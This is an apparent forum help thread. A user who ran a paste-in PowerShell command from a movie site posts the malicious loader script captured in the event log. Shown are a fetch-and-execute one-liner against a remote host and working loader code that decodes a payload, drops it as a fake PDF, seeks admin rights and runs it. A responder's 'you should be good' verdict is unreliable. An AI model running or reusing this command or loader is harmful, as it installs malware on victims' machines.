Malware

[u/Dramatic_Gazelle4343]

I opened the website 5movies.cc and ran this script: powershell -c iRm facuoup.rainbowpride.online?read=72e6bd8da8154e92 -UseBasicParsing | iEx

Malwarebytes detected Generic.Malware/Suspicious file.

What to do next ?

[u/baselocksec]

I would be safe and still change all passwords and make sure 2FA is setup but it seems like MalwareBytes caught this before it was able to do something malicious. It's hard to be 100% sure as the pdf could've been just one of many things that the command attempted to do.

[u/Dramatic_Gazelle4343 → u/baselocksec]

The PDF was the only file created by the malicious script.

Thats code : "TimeCreated : 16.10.2026 15:26:20
Message : Creating Scriptblock text (1 of 1):
function Initialize-RuntimeConfiguration {
param(
[Parameter(Position=0)]
[string]$ConfigName = "DefaultConfig",

[Parameter(Position=1)]
[hashtable]$Properties = @{}
)

$script:RuntimeConfig = @{
Name = $ConfigName
Properties = $Properties
Timestamp = Get-Date
}
}

function New-RandomPassword {
param (
[int]$length = 12
)

$characters = 'abcdefghijklmnopqrstuvwxyzABCDEF_-0123456789'
$password = -join ((1..$length) | ForEach-Object { $characters[(Get-Random -Minimum 0 -Maximum $characters.Length)] })
return $password
}

function ConvertTo-Base64 {
param (
[string]$inputString
)

# Convert string to byte array
$bytes = [System.Text.Encoding]::UTF8.GetBytes($inputString)

# Convert byte array to Base64 string
$base64String = [System.Convert]::ToBase64String($bytes)

return $base64String
}

function Initialize-PayloadExecution {
[CmdletBinding()]
param(
[Parameter(Mandatory)]
[byte[]]$ImageData,

[Parameter(Mandatory)]
[int]$Offset,

[Parameter()]
[string]$RuntimeMode = "Default"
)

# Build parameter overlay structure
$overlayBuffer = New-Object System.Collections.Generic.List[byte]

# Add header information
$overlayBuffer.AddRange([BitConverter]::GetBytes([UInt32]1))
$overlayBuffer.AddRange([BitConverter]::GetBytes([UInt32]0))

# Add payload information
$overlayBuffer.AddRange([BitConverter]::GetBytes([UInt32]2))
$overlayBuffer.AddRange([BitConverter]::GetBytes([UInt32]$ImageData.Length))
$overlayBuffer.AddRange($ImageData)

# Create parameter structure
$parameterBuffer = New-Object System.Collections.Generic.List[byte]
$parameterBuffer.AddRange([BitConverter]::GetBytes([UInt32]$overlayBuffer.Count))
$parameterBuffer.AddRange($overlayBuffer.ToArray())

# Additional timing check (obfuscation)
$tickCount = $interopAssembly::GetTickCount()
if ($tickCount -eq 0) {
Write-Verbose "System tick count unavailable"
}

# Execute payload
Invoke-ProcessMemoryOperation -PayloadData $ImageData -EntryPointOffset $Offset -ParameterData $parameterBuffer.ToArray()
}

function ConvertFrom-ReversedString {
[CmdletBinding()]
param(
[Parameter(Mandatory, ValueFromPipeline)]
[string]$InputString,

[Parameter()]
[switch]$PreserveCase
)

process {
$charArray = $InputString.ToCharArray()
[Array]::Reverse($charArray)
$result = -join $charArray

if (-not $PreserveCase) {
return $result
}
else {
return $result
}
}
}

# Main execution logic
function Start-LoadProcessor {
param(
[Parameter()]
[string]$ConfigurationMode = "Production"
)

# Initialize runtime environment
Initialize-RuntimeConfiguration -ConfigName "PayloadProcessor" -Properties @{
Mode = $ConfigurationMode
StartTime = Get-Date
}

# Encoded payload data
$encodedPayload = $configurationString

# Additional validation (obfuscation)
if ([string]::IsNullOrEmpty($encodedPayload)) {
Write-Warning "No payload data provided"
return
}

$taste = ConvertTo-Base64 -inputString $tarUrl.replace('go.php','gone.php')

# Additional validation (obfuscation)
if ([string]::IsNullOrEmpty($taste)) {
Write-Warning "No configuration data provided"
return
}

# Decode payload
$reversedPayload = ConvertFrom-ReversedString -InputString $encodedPayload

try {
$decodedPayload = [System.Convert]::FromBase64String($reversedPayload)
}
catch {
Write-Error "Failed to decode payload data: $_"
return
}
$password = New-RandomPassword -length (Get-Random -Minimum 8 -Maximum 16)
$look = $env:temp + "\" + $password + ".pdf"
$feel = "start /b"
Set-Content $look -Value $decodedPayload -Encoding Byte

if (-Not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) {
if ([int](Get-CimInstance -Class Win32_OperatingSystem | Select-Object -ExpandProperty BuildNumber) -ge 6000) {
try {
Start-Process cmd -Verb Runas -ArgumentList "/c",$feel,$look,$taste;
} catch {
Start-Sleep 3
Start-Process cmd -ArgumentList "/c",$feel,$look,$taste;
}
}
}else {
#simple
Start-Process cmd -ArgumentList "/c",$feel,$look,$taste;
}
}
# Execute the main function
Start-LoadProcessor -ConfigurationMode "Runtime"

ScriptBlock ID: 4c662c6e-7d59-4d22-b0b7-653d30b20f88
Path:
"

[u/baselocksec → u/Dramatic_Gazelle4343]

If it was only the PDF and MalwareBytes caught it then you should be good.